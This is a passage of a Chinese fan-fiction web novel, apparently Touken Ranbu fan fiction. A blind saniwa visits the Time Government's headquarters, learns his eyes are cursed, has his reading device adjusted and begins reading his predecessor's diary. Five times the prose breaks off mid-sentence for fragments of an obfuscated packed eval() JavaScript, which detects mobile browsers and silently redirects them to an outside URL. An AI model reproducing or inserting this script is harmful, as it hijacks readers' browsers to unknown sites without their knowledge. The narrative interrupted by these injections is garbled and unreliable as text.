时之政府总部的坐标是跟着通讯一起发过来的。 绫小路望终于有机会体验时空转换器了。 输入坐标启动后,鹤丸国永靠近了绫小路望,似乎看穿了他的紧张,语气温和:“主人在心里默数三秒。” 三、 二、 一 不适感一闪而过。 “到了。”鹤丸国永的声音同一时刻在他耳边响起。 绫小路望发现自己又看不见了。 他下意识催动灵力,但无济于事。绫小路望的世界重回一片漆黑,只剩下身边属于鹤丸国永的光团。 看来用灵力视物仅限本丸内使用。 指尖微微发凉,有些不适地握紧导盲杖,轻轻蹙眉,绫小路望试探地向前敲了敲地面。 清脆的敲击声响起,跟本丸大多数的木制地板不同,绫小路望到了一个充满着机械化的地方,就连空气似乎都带着金属感。 “主人?” 鹤丸国永自然注意到了绫小路望的异样,了然划过心头,“我扶着您吧。” 绫小路望拒绝了,带着一丝倔强:“带路就行,我能自己走。” “总部和我之前来的时候变化不大,我带您去前台。” 鹤丸国永没有再坚持,四处张望着,很快锁定了一个方向,带着绫小路望走了过去,确保路上没有障碍物会影响到他的审神者。 一前一后,穿过空旷的长廊,走到了时之政府的总部门口。 “您好,这位审神者,请问有什么能够帮到您的吗。” 或许是绫小路望蒙在眼睛上的布实在过于瞩目,原本坐在位子上的工作人员赶忙走了出来,穿着统一的工作制服,脸上带着礼貌的笑容。 绫小路望循着声音望过去,手中导盲杖轻轻点地:“……我收到了来总部的通讯。” “好的,请将通讯器给我检查一下。” 绫小路望把通讯器递了过去,这还是鹤丸国永提醒他带上的。 工作人员接过,没有多余的寒暄,利落地直接翻到通讯最底部,对照着在设备上输入本丸和通讯编号,指尖在键盘上飞快敲击,发出清脆的按键声。 查询后,工作人员将通讯器还了回来。 “D0009本丸审神者,欢迎您来到总部。”工作人员一边说着,一边递给绫小路望两个手环, “您需要先跟我去登记资料,之后凭借该手环去医疗部和科研部,您和刀剑男士都需要佩戴,在离开总部前请不要摘下。” 好严肃。 这是绫小路望的第一想法。 严谨的做派让他不自觉站直了身子。 鹤丸国永从绫小路望手中取过手环,小心翼翼帮他戴上:“好了,主人。” “谢谢鹤丸。”绫小路望抬起头,对工作人员说道,“麻烦您了。” “这是我应该做的。” 工作人员的回答很官方,安静地走在前面引路,留了充足的空间给绫小路望和鹤丸国永交谈。 “来总部都需要手环吗?”手腕上多了一样东西的感觉很奇怪,这个手环也不是宽松款,反而贴合皮肤,甚至有些微微紧绷。 鹤丸国永点头,耐心解释:“总部的手环都是一次性的,明天登记在里面的信息就会失效。” 交给他们的手环中被工作人员输入了本丸编号和日期,佩戴手环进出时都会有记录,如果出事了时之政府可以很快通过记录对应到具体的人上。 也算是为了防止有不良居心的人混进来。 “到了,我先回去了。”工作人员的任务只是带路,见目的达到,打完招呼后先一步离去。 鹤丸国永很自觉地留在了门口,笑着对绫小路望招招手:“我就不进去啦,主人,有事叫我,大声一点我就能听见。” “然后鹤就会马上冲进来保护主人。” 鹤丸国永做了一个夸张的手势,尽管绫小路望看不见,但他还是被鹤丸国永的话给逗笑了。 “那就拜托你了,我进去了。”绫小路望拍了拍鹤丸国永的肩,在他的帮助下找到了门把手的位置,将手轻轻搭在上面。 “请问有人吗?”绫小路望敲了敲门。 下一秒,门内就传出了回应:“请进。” 听着和如月星凛用变声器之后的声音差不多,都带着微微电音。 绫小路望推门而入。 “D0009本丸审神者,请坐。” 显然,门内的人提前一步收到了绫小路望要来的信息,“你可以叫我此木。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520975|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 绫小路望站在原地没有动,没察觉到动静的此木抬头,视线触及到那块黑布时有些诧异,很快反应过来,站起来走到绫小路望身边:“抱歉,椅子在这。” “怎么没人跟我说。”等绫小路望坐下,此木一边拉开自己的椅子一边嘟囔,坐下后清清嗓,“请问你是通过什么方式知道时之政府的。” 见绫小路望似乎愣住了,此木有些不好意思:“走个过场,你懂的,我们需要多份记录。” “我是误入本丸,然后本丸的刀剑男士给我讲了时之政府的事。” “在你原本的世界里,是否有特殊能力存在。”此木调出了一份档案,看着上面的字问到。 “特殊能力?” 绫小路望皱眉,“抱歉,这个我不清楚,我一直以为我是一个普通人。” “这样啊……”此木咂咂嘴,“有点麻烦了。” “我们通知你来主要也是因为这个。” “冬月应该给你说过我们的补偿了?总之不管你是否留下担任审神者一职,政府这边都会帮你找到回家的路。” “但你原本的世界坐标有点难定位,本来想着说不定可以通过力量体系定位到,你不清楚的话就算了。” “幸好你考核通过了,不然我们要头疼死了。” 此木在绫小路望的世界坐标这一栏填了个问号上去,“误入本丸的时候估计你也分辨不了时空波动,只能等灵力分析报告了。” “灵力分析?”绫小路望有些疑惑,这跟原本世界的坐标有什么关系。 “一个人的灵力会跟他原本所处的世界有关。”此木解释道, “不知道你原本的世界有没有比较魔幻的文学作品,魔法之类的,每部作品的力量体系都不一样。而我们虽然把能够唤醒付丧神的力量统称为灵力,但实际上在这些审神者原本的世界中,这种力量拥有另一种称呼。” “他们的力量本源会被他们的世界打上印记,所以每个人的灵力在本质上都会有细微差异。我们会分析你的灵力然后跟一个个世界进行比对,匹配成功后会通知你。” “这能找到吗?”绫小路望问到,“万一匹配不上怎么办。” 绫小路望觉得系统应该知道他世界的坐标,但它已经半个月没有说过话了,不免有些担心。 此木摇了摇头:“虽然你是误入的,但只有通过时之政府和各个世界以及时间线的连接点才能误入,目前开辟过连接点的世界我们都有记录。” “没有连接点,你是绝对不可能来到这里的。”此木信誓旦旦,“匹配需要的时候可能会有些久,你如果不满意政府补偿的话还可以要求别的。” 想到什么,此木压低了声音:“时之政府对自己人挺大方的,放心薅。” 绫小路望有些哭笑不得,哪有这么说自己工作的地方的。 但此木语气实在诚恳,绫小路望领了心意:“已经足够了,可以的话我想问问政府有没有办法让我能看到。” “我想想……” 此木递给了绫小路望一个牌子,“治疗方面我帮不上什么忙,用这个牌子可以打员工优惠折扣。” 顿了顿,此木补充了一句:“你不会以为政府是做慈善的吧。” 呃 绫小路望还真的这么认为过。 20. 诅咒 绫小路望带着此木给的牌子走出门,显眼的小牌子立刻就被鹤丸国永注意到了。 “这是什么?”他好奇问道。 绫小路望耸了耸肩:“说是治疗费用可以用这个打折。” 没听到附近有其他人的脚步声,绫小路望凑近鹤丸国永,低声说道:“原来治疗还需要自己花钱吗?” 鹤丸国永眨眨眼,不知道怎么回复:“前任审神者只来总部汇报过工作。” 意思是问他没用。 绫小路望也只是随口一说,每日完成日课就能收获来自时之政府的可观的工资,还有额外入账的小判,让政府回点血也没关系。 反正都是他白嫖。 在灵力的滋养下,本丸也差不多自给自足,可以不用每天去万屋采购食材了,花销就又少了一项,省了不少小判。 “接下来去医疗部,鹤丸你知道路吗?” 附近应该是没有指路标的,绫小路望耳朵里的无障碍阅读器一点反应都没有,只能寄希望于鹤丸国永。 “嘿嘿,主人你这就问对人了。”鹤丸国永自豪地挺起了胸,“刚才我问了路过的工作人员,不仅是医疗部,科研部也知道大概在哪个方向了。” 他做出一副求夸赞的样子。 绫小路望也顺了他的愿:“鹤丸真的太贴心了。” 被顺毛的鹤丸国永满意地笑了笑,晃了晃头:“请跟我来吧,主人。” 去往医疗部的途中很顺利,绕了几个圈,鹤丸国永就找到了路。 所谓的医疗部是一整栋楼。 “祝您好运。” 是关于审神者的个人隐私,作为刀剑男士的鹤丸国永自然进不去,好在他在路上顺了一份手册,刚好用来打发时间。 绫小路望犹豫了一下:“要不鹤丸你去逛逛?总不能只待在门口等我。” 他记得鹤丸国永最讨厌的就是无聊了。 “这是我的职责呀,主人。”鹤丸国永笑道,“况且总部也没什么好玩的,也没看到其他的刀剑男士。” “主人就放心地进去吧,我会一直在这里的。” 鹤丸国永轻轻推了推绫小路望的背,“加油哦。” 他举着绫小路望的手,让机器扫描了一下手环。 “叮”一声响起,门开了。 绫小路望拿着导盲杖往前探了探,确认是直线,迈出了步伐。 消毒水的味道扑鼻而来,一楼前台自然也有人在。 “请问有预约吗?”前台的工作人员头也没抬。 “有的。”绫小路望犹豫了一下,“不过是别人帮我预约的。” “预约人代号。” “冬月。” 工作人员登记完信息后,抬头看到了绫小路望右耳上的无障碍阅读器,没有多问:“三楼左转,电梯在前面。” “谢谢。” 耳边是无障碍阅读器的机械音,绫小路望倒也能自己锁定电梯楼层,就是按得有些慢,需要自己一个个试过去而已。 出了电梯,已经提前有人等在那了。 “是竹秋吧,抱歉,我应该下来接你的。”绫小路望没拿导盲杖的那只手的手臂被人稳稳地扶住,说话的人语气温柔,“我是D,冬月的朋友。” “没关系,我可以自己上来。” 真的下来接他,绫小路望可能还要别扭好一会儿。 “那我们先来检查一下吧,冬月说你是天生失明,目前政府掌握的医疗技术还无法痊愈,可能要上科技手段。”开始之前,D医生给绫小路望打了预防针。 “等下我会主要检查你眼部周围的肌肉和神经状况。” “今天三楼只有我们两个人,可以放松一点。” 绫小路望坐在椅子上,解开蒙在脸上的布,下巴被D医生轻轻托起,他能听见手电筒开关的声音,也能感觉有一道热源出现在眼球上 。 ——但就是什么都看不见。 “果然一点感觉都没有。”D医生收回手电筒,“你对别人的灵力应该不排斥吧。” 他要进行更加深入的检查了。 但这个绫小路望自己也不清楚,只说:“没试过。” “那我小心一点,难受了跟我说。” D医生的灵力就跟他的声音一样,柔柔的,小心翼翼地贴近绫小路望的眼睛。 眼部像是被温暖的液体裹了起来,绫小路望感觉自己的脑袋轻飘飘的,不由自主地想要靠近那股灵力。 他听见了D医生从嗓子里发出的轻笑。 眼部的存在感从来没有这么高过,甚至给了绫小路望一种马上就能看见的错觉。 或许是因为体内出现了其他人的灵力,绫小路望能清楚地感受到D医生的灵力进入了他眼部周围的每一根神经。 “好了。” 温暖的感觉骤然被抽离,绫小路望有些意犹未尽,但他的脖子已经在抗议了,低下头缓解着。 D医生的表情很奇怪,面上带着思索:“好神奇,我从来没见过你这样的。” “怎么了?”事关于自己的眼睛,绫小路望急切地问到。 这个神奇是好的意思还是坏的意思? “你眼部周围的肌肉和神经都完好无损。”D医生新奇地摸了摸绫小路望的眼部,手指从眼角到眼尾轻轻划过,绫小路望不由闭上了眼,“而且眼睛也没有外斜。” 除了眼睛蒙着一层灰,从外表看,绫小路望跟正常的无异。 “安装义眼肯定没问题,周围神经也都能正常工作。”D医生先是说出了自己的判断,“问题就在于,太过于没问题了。” “你的眼睛真的从小就看不见吗?”D医生问道,“这个状态说昨天刚刚失明都有人信。” 什么意思? 绫小路望有了一点不好的预感。 D医生的手没离开过绫小路望的眼睛:“我有一个大胆的猜测。” 绫小路望能感觉到D医生的指尖逐渐用力,痛感清晰地传递过来。 “我都可以配合。”绫小路望说道。 D医生笑了:“从小到大,除了看不见之外,你的眼睛有没有其他难受的地方。” D医生走到另一边,在柜子中翻找着什么。 “没有,只有看不到。”绫小路望回答。 “梦里呢?你应该做过梦吧,是什么样子的。” “你的梦里,出现过视觉吗?” 绫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520976|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小路望感觉自己好像抓住了什么。 一个冰凉的仪器贴近了绫小路望的眼睛,轻轻覆盖在他的脸上。 “回想一下,你的梦境是由什么构成的?触觉,听觉,还是视觉?” D医生的话带着诱导的意味。 是了,他的梦中,虽然不常见,他是能看到颜色。 绫小路望是知道颜色的。 这也是他觉得自己其实看得到的原因。 “我知道颜色,”绫小路望说,“我知道我现在看见的是黑色,我的梦里也出现过颜色。” 话音刚落,那个仪器远离了绫小路望。 D医生得到了自己想要的答案,心情很好:“果然,我猜得没错。” “你这不是先天全盲,你的眼睛被人下了诅咒。” 绫小路望愣住了。 “……诅咒?”绫小路望干巴巴地重复了一遍D医生的话。 原本豁然开朗的思绪又被水泥封住了。 “是啊,诅咒。”D医生表情严肃,“你应该是出生前就被下了诅咒,又或是你的母亲被人诅咒,你受到了影响。” “刚刚这个仪器就是用来检测诅咒的,虽然每个世界的力量体系各不相同,但诅咒中蕴含的恶意都是一样的。” “你的双眼被恶意缠绕着。”D医生说道,给绫小路望下了判决。 “有办法吗?”绫小路望把希望寄托在了D医生的身上。 “考虑到你眼部肌肉和神经都没问题,可以直接摘除眼球。”D医生思考了一下,“我刚才检查过,诅咒只针对你的眼睛,周围没有被影响。” 他在思考该用什么样的方式给绫小路望解释。 “你眼睛传递画面的功能还在,只是单纯的看不见了。” “这个诅咒就像是一双手,把你的眼睛蒙住了,摘除后换上人工眼球的话,诅咒就无效了。” “不过我不太建议你这么做。” 绫小路望还没说话,D医生就一个人把话全说完了。 “你的眼睛没有任何问题,摘掉太可惜了,不是吗。” 绫小路望也这么觉得:“我要怎么才能解除这个诅咒?” 如果可以,他当然也想用自己的眼睛看到。D医生说他的眼睛没有任何问题的时候,说实话,绫小路望是欣喜的。 他的父母早就去世了,跟舅舅也不熟,绫小路望也不清楚有什么家族仇家,只知道他从来都是衣食无忧。 “解咒还需诅咒者。”D医生表示自己爱莫能助,“嫌麻烦的话也可以选择换眼球。” “我先试试吧。” 绫小路望决定等此木那边的结果出来了再说。 审神者是可以回到自己原本的世界的,算是时之政府给员工放的假期,只不过有很多审神者选择不回去。 会是谁呢? 在他未出生的时候就下了这样的诅咒。 为什么他的父母和舅舅也从来没有提起过这件事。 他原本的世界……真的普通吗? 明明是来治疗眼睛的,绫小路望感觉身上的麻烦越来越多了。 系统呢,说句话啊。 把他带到这里,到底是为了什么? 21. 27 虽然检查结果出了点意外,但D医生还是结合各项检查数据,找出了一套适合绫小路望的保养眼睛的方法。从日常舒缓到辅助用的眼药水,事无巨细地一一交代清楚。 “既然你的眼睛本身没问题,平时还是注意一下。”D医生叮嘱到。 “谢谢。”绫小路望静静地听着,眨了眨眼睛,重新用布绑了起来。 “没事,有不舒服的话随时跟我联系,换个联系方式?”D医生掏出通讯器,在绫小路望面前晃了晃。 “好。”绫小路望本来就想提出这件事。 交换完,D医生把绫小路望送到了电梯口,贴心地替他按了楼层:“我对你的眼睛很感兴趣,找到诅咒人了一定要通知我。” D医生弯了弯眼:“这样有后遗症我也可以及时替你解决。” 绫小路望收下了D医生的好意。 走出医疗部大门的时候,他微微叹了口气。 其实到现在,他已经把希望的重心重新放回了那个不知道去哪的系统身上。就算真的找到了下诅咒的人,然后呢? 他手无缚鸡之力,一点武力值都没有,行走都需要靠导盲杖,拿什么让那个人给自己解除诅咒? 既然他的眼睛本身没问题,绫小路望打消了上科技的念头。 系统会有办法帮他去除诅咒的。 走一步看一步吧。 绫小路望心底是有着一些偏执在的。 看到属于鹤丸国永的光团在向他靠近,绫小路望下意识抬手摸了摸无障碍阅读器。 “走吧,去科研部。”绫小路望对鹤丸国永说道,声音平静,半分异样都没有露出来。 虽然很好奇审神者的眼睛能否恢复,但鹤丸国永从绫小路望的态度中看出他不想提此事,沉默了一下,自然地扶住绫小路望的手臂:“主人往这边走。” 鹤丸国永看着绫小路望的侧脸,移开视线。 算了,要说总会说的。 科研部跟医疗部的风格完全不一样。 跟绫小路望想象的不同,这里并不安静,大厅充满了各种声音,更像是一个机械制造工厂。 鹤丸国永带着绫小路望在人群中穿梭了好久,才找到挂着牌子的工作人员,那人正蹲在地上,手里拿着一个螺丝刀,似乎在拆解着什么。 “请问有什么事吗?” 工作人员依旧蹲在原地,语气中有一丝被打扰的不耐烦,“如果是来找人的直接进就行。” “抱歉。”绫小路望下意识说道,“是别人帮我预约的,我不清楚找谁。” “等我一下。”工作人员把东西堆到一边,站起身,“我记得是有这么一个人……我找找……”他打开自己的通讯,上下翻了翻。 “审神者竹秋对吧,跟我来。” “你怎么知道是我的?”工作人员的语气不带恶意,于是绫小路望壮着胆子问到。 “很少有人来科研部会预约,最近就你一个,还是监察官冬月帮忙预约的。”工作人员耸了耸肩,对着鹤丸国永说道,“走吧,老规矩,付丧神不能跟着。” “可以待在这里吗?” 鹤丸国永之前没来过科研部,一下子看到大厅里这么多新奇地玩意儿,一时间有点挪不动脚步。 “随你,反正最后大厅的东西也会出现在万屋。”顿了顿,工作人员虽然不是审神者,但显然也听说过鹤丸国永的大名,“别乱动就行。” “好的好的。”鹤丸国永笑眯眯地答应了下来。 工作人员带着绫小路望走到一扇门前,做样子一样敲了敲门,然后直接推门而入。 “有人来找你!”工作人员提高了音量喊了一声,然后转头对绫小路望低声解释道,“你叫他林就行了。” 一个有点矮的男人从里面的屋子走了出来,他的脸上有好几道疤痕,一头爆炸头,帽子压也压不住。 “林,这位是竹秋,冬月介绍的。”工作人员尽职尽责地为二人相互介绍后,急匆匆地离开了这,“你们聊,我先去忙了。” “你好,阅读器用得怎么样?”林没有废话,直接进入正题,走到绫小路望侧边,抬头仔细打量着右耳上的无障碍阅读器,伸手轻轻敲了一下。 “虽然这东西是我做的,但你算是第一个全盲的使用者。” 见绫小路望似乎有些疑惑,林解释道,“虽然制造他的初衷是为了盲人,但比起看不见,政府招的不识字的审神者更多。” 他的语气似乎有些无奈:“你是第一个来找我反馈的全盲使用者,怎么样,用得顺利吗?” “很方便。”绫小路望很感谢林,“冬月说可以根据我的个人情况改进是指……?” “根据你的个人喜好改变声音之类的。”林说道,“或者有哪里不是很顺手的吗?” 绫小路望想了想:“电流音可以去掉吗?有时候可能会有点刺耳了。” “可以,其他的呢。”林点点头,“你更偏向男音还是女音?” “男音吧。”绫小路望灵机一动,“可以把通讯器和无障碍阅读器连接在一起吗?” “嗯?”林来了兴趣,“你要怎么连接?” 绫小路望也不是专业的,只能给出自己的想法:“就是能不能有通讯的时候,阅读器可以直接提醒我然后播放,准确打开通讯器的过程对我来说有点慢了,遇到紧急的情况可能会浪费时间。” “这个简单。”林听懂了绫小路望想要表达的意思,“通讯器给我,稍微等我十几分钟。” 绫小路望摘下无障碍通讯器,把它往前伸了伸:“好的,谢谢。” 手中一空,接着是林往里走的脚步声。 那个房间里似乎还有其他人,绫小路望听到了林不耐烦的赶人声:“去去去,我要忙正事了。” 然后一个人手忙脚乱地在绫小路望面前站定。 “你好。”他的声音有些尴尬。 绫小路望点头:“你好,打扰了。” “没有啦……我也是来找林的,没想到今天有人预约,是我打扰了。” 说话的人似乎缓过来了,笑了笑,“那边有沙发,我们坐过去?” “好。”绫小路望应下。 一时无言。 好在绫小路望本就是一个喜欢安静的性子,坐在身边的人也没有一直好奇地盯着他的面部看,让绫小路望格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520977|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外自在。 “很辛苦吧。” 只持续了片刻,另一个人显然不太习惯,主动开口打破了沉默。 啊? 绫小路望没反应过来,有些迟疑地回答:“不辛苦……?” 那个人被绫小路望话里的疑惑逗乐了,轻笑了一下:“以前没见过你,是新来的审神者吗?” “嗯。”绫小路望微微颔首,“我叫竹秋。” “叫我27就行。”27继续说道,“怎么会想着来时之政府任职?看不见当审神者很辛苦吧。” 绫小路望愣了一下,回答道:“以前更辛苦。” 他微微低下了头,感叹:“至少成为审神者之后方便了很多。” 他没有明说,27也没有问。 “那就好。”27笑了笑,“有什么不方便的都可以找时之政府或者直接来科研部。” “就像我一样,直接来就行,这里很轻松。” “好的。”感受到对方的善意,绫小路望有些不自在,顿了顿才应下。 “那我们交换一个联系方式?”27兴致勃勃道。 绫小路望感觉自己一整天都在和别人交换联系方式,以前从来没有这么高强度社交过。他乖乖地报出自己的代号和联系id。 “D0009本丸啊……”看着给绫小路望的备注,27眨了眨眼,若有所思。 绫小路望本来有些紧张着他的下文,但27只是提到了名字,其他什么也没多说,将自己的通讯器收好,看着绫小路望,很认真地说道:“那我们现在算朋友了吗?” “算吧?”绫小路望也不确定。 “那我们就是朋友了。”27笑眯眯地说,稍微靠近了一点,压低自己的声音,“竹秋君知道自己身上有明显的时空波动留下的痕迹吗?” 嗯? 为什么要跟他说这个? 绫小路望有些迷茫。 审神者身上有时空波动……不能有吗? “因为那边查不出竹秋君原来的世界,稍微有些消息传到我这了。”27解释了一下,“刚刚看到竹秋君的本丸编号,突然想起来这件事。” “竹秋君本人确实很神奇。” “有时空波动留下的痕迹会有不好的影响吗?”绫小路望不了解这些。 27自然乐意给绫小路望解答:“审神者作为人类,一般来说很难通过自身□□穿越世界屏障,需要依靠时空转换器。” “来到时之政府不算,这里是一个独立于各个时空之外的空间。”27补充到,听起来他应该也知道绫小路望误入本丸的这件事。 “你身上属于时空的痕迹很明显,这代表着,你曾经凭你自己的能力穿越过世界。” 27的语气十分笃定,“因为我自身的原因对这些有些敏感,一般来说不会判断错。” “所以竹秋君的世界可能会有点难判定了。”27叹了口气,“说不定他们会给你两个坐标。” 穿越世界? 什么时候? 绫小路望只觉得自己脑子一片空白。 他难道不是一个双目失明的普通人吗?怎么一点记忆都没有。 22. 本子 看出绫小路望需要时间理解并消化这件事情,27贴心地坐远,不作打扰。 一直到林拿着改进过的无障碍阅读器和通讯器走出来,绫小路望都还没有缓过来。 “好了。”林抬高身影,把绫小路望从思绪中拉回。 见人一副魂不守舍的模样,林有些奇怪,把目光投向了最有可能的罪魁祸首:“你跟他说了什么?跟魂飞了一样。” 27的表情有些无奈:“没什么,说了一些他之后会知道的事。” “行。”林不再多问,“小子,你的阅读器改好了,试一下。” 他把两样东西递给绫小路望。 接过,熟练地佩戴上无障碍阅读器后,27适时递给了绫小路望一张时之政府的宣传单。 “我想你会需要,测试一下吧。”27对着他笑了笑。 绫小路望低下头,无障碍阅读器的摄像头也对准了宣传单。令他惊讶的是,出现在耳边的声音隐约让他觉得这是自己的声音。 于是绫小路望当场问了出来。 林肯定了绫小路望的猜测:“稍微调了一下,怎么样,会不会更喜欢?” 他对自己的技术很自豪,仿佛笃定绫小路望不会反驳他的话。 绫小路望也确实很喜欢这个小巧思。 用自己的声音读出来,就像是“他”看到的一样。 他很喜欢这种感觉。 绫小路望向林道谢,语气真诚:“太感谢您了。” “没事,”林摆摆手,“真感谢我的话就多给我一些反馈吧,如果能让无障碍阅读器继续改进,才是对我真的感谢。” 听着他俩的对话,27没忍住笑了:“你们这也太官方了,都轻松一点。” 他走上去,拍拍林的肩:“好啦,事情忙完了该帮我修一下仪器了。” “跟我来吧。”林把27放在他肩上的手拍下去,对着绫小路望说道,“我就不送你了,能自己走出去吧。” “能的。”工作人员带路的时候绫小路望已经记下了大概方向。 “下次见。”林摆摆手,“祝你好运。” 绫小路望回到大厅的时候,没有在第一时间发现鹤丸国永的踪迹,环顾了一圈也没看到属于他的光团,一时有些无措的站在原地。 工作人员很快注意到了他,小跑着过来:“你本丸的鹤丸国永有事出去了,请稍微等一下。” 工作人员想让绫小路望去一旁坐着,被他拒绝了。 “我在这等就好。”绫小路望坚持站在原地,心里泛起疑惑。 鹤丸国永能有什么事情? 绫小路望并没有等很久,鹤丸国永就回来了,回来的时候手里还拿着一个袋子。 他的脸色不是很好看,但好在也没有其他人会特意关注一振鹤丸国永的表情,唯一会关注的人也看不到。 “主人!”鹤丸国永一眼就看到了绫小路望,深呼吸几下,赶紧小跑上前,“您怎么不去坐着?” “我怕你找不到我。”绫小路望犹豫了一下,问道,“鹤丸刚刚去做什么了?” 他这会不会属于打探隐私了? 鹤丸国永立刻答到:“刚才冬月大人来这想要找您,但您已经进去,冬月大人又赶时间,就把我叫出去给了我这个。” 他甩了甩袋子,让里面的东西发出声响:“冬月大人说这是前任审神者留在她那里的一些资料,是跟本丸相关的,不是很私人。” “冬月大人说现在您成为本丸的审神者,这些东西放她那里不太合适,托我转交给您。” 原来是这样。 绫小路望点点头,表示自己知道了。 “我听着声音有些重,里面都是些什么?” 鹤丸国永低头,稍微扒拉了一下袋子里面的东西,回答:“一些封面空白的本子,具体是什么要回去翻开才知道。” 本子,又是本子。 时之政府不是很先进吗,怎么这么多都用纸制的来记录? “那我们回去吧。” 绫小路望回忆了一下今天行程,确认没有落下的事情,对鹤丸国永说道,“麻烦鹤丸了。” “鹤说过的哦,只要是主人的事,永远不会麻烦。”鹤丸国永笑眯眯地扶住绫小路望的另一只手臂,“我们回本丸吧。” 不知是不是绫小路望的错觉,鹤丸国永在说这句话时把“我们”二字咬的很重。 回到本丸后,绫小路望大手一挥,给鹤丸国永放了假,不用去天守阁处理文书,这几天也可以不用出阵,好好休息。 “放心,狐之助会帮我的。”绫小路望抱着狐之助,对有些担心的鹤丸国永说道。 “就是就是,咱可是很靠谱的。”狐之助跟着绫小路望的节奏点头,“鹤丸殿就好好去休息吧,本丸最近冷清了很多。” 鹤丸国永沉默了一下,想到了什么:“好呀,那就等着我接下来的惊喜吧,主人!” “我先走咯!” 因为无障碍阅读器到了的原因,绫小路望陆陆续续把文件搬回了天守阁。他终于理解为什么前任审神者会一直住在天守阁了。 这里确实清净,不会再工作的时候听到走廊上刀剑奔跑和庭院内的欢笑声。 要知道,人在工作的时候听见这些声音,真的会破防的。 当然,绫小路望住还是住在部屋。 “有一份文件需要审神者大人签字。” 鹤丸国永早就把文件整理好了,狐之助跳上桌子,稍微扫了一眼,推了一个文件夹到绫小路望的面前,“其他的都是出阵报告,咱直接按照格式把数据填上去了。” 不仅是鹤丸国永,狐之助也不想让绫小路望做这种麻烦又单调的工作。 “辛苦了狐之助,晚上我会拜托烛台切给你做一份油豆腐的。” 绫小路望翻开文件夹,上下扫了一眼,听着耳边的声音,确认无误后签字。 是关于战力扩充计划的文件。 绫小路望本丸的战力并不需要担心,几乎全员极化满级,签完字直接提交就行。 绫小路望不准备参加这个活动。 没有小判,没有资源,参加这个活动除了浪费时间之外绫小路望想不到其他的作用。 因为东西太多,狐之助正坐在另一张桌子上填写出阵报告,小小的身子被几堆文书掩盖着。 他的左手边叠着冬月托鹤丸国永转交的本子。 绫小路望心念一动。 “我去二楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520978|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿一样东西。”他对狐之助说道,站了起来,拿上导盲杖小楼。 “好的审神者大人。”狐之助忙得抬不起头。 再次回到二楼最角落的地方。 凭着之前的记忆,绫小路望准确无误地把手探向书架,指尖传来的熟悉的触感告诉他,没有拿错。 几天时间,封面上又落了薄薄一层灰,绫小路望轻轻拍去灰尘,低头后发现耳边没有传来任何声音。 ——所以封面上什么都没有写吗? 翻开。 “随笔”二字飘逸地被写在第一页。 “——来到本丸的第五年,悠斗。” 绫小路望的指尖停在了最后的名字上。 悠斗…… 是前任审神者的代号吗? 还是说,这是真名。 角落的灰尘实在是有些难以忍受,空间也十分逼仄,合上本子,绫小路望决定拿回楼上慢慢看。 绫小路望丝毫不担心本子里会不会写着什么不能看的私密事。 没有锁住,光明正大放在这里,不就是给人看的吗。 就用这种方法,让他好好了解一下前任审神者吧。不是通过道听途说,而是用自己的眼睛亲眼看。 窗外阳光正好,斜着洒进室内,绫小路望放松地靠在椅背上,一个字一个字地摸过去。 【鹤丸最近总是在跟我抱怨为什么总让他做文书工作,明明长义和御前都来到本丸了,但还是他主要负责记录。】 【蔫了的鹤丸绝对是本丸一大奇观,但谁让鹤丸是我的近侍呢,自己种的因就要自己还结的果。】 字迹并不算工整,绫小路望甚至能想象到前任审神者写下这些时是随意的,带着笑意的。 【今天阳光很好,被被极化回来了,变得跟以前完全不一样了。长义看到之后马上跑过来跟我说他也要去修行,两个刃关系真好。】 【三日月修行回来之后怎么还是内番+0,总感觉他是故意的。】 【今天生日,清光和乱给我做了一个专属造型,还被他们涂了指甲油。】 【任务有点听不懂,冬月直接跑本丸来给我解释了一遍,炸毛的样子很好玩。】 …… 【终于想起这个本子了,明明记得去年放在抽屉里,怎么跑到书架上去了。本丸终于满刀账了,要好好庆祝一下。】 【果然攒了这么多年的假期是有用的,终于可以回去了,不知道这几年不在身边,还记不记得我,会不会有了更好的朋友?】 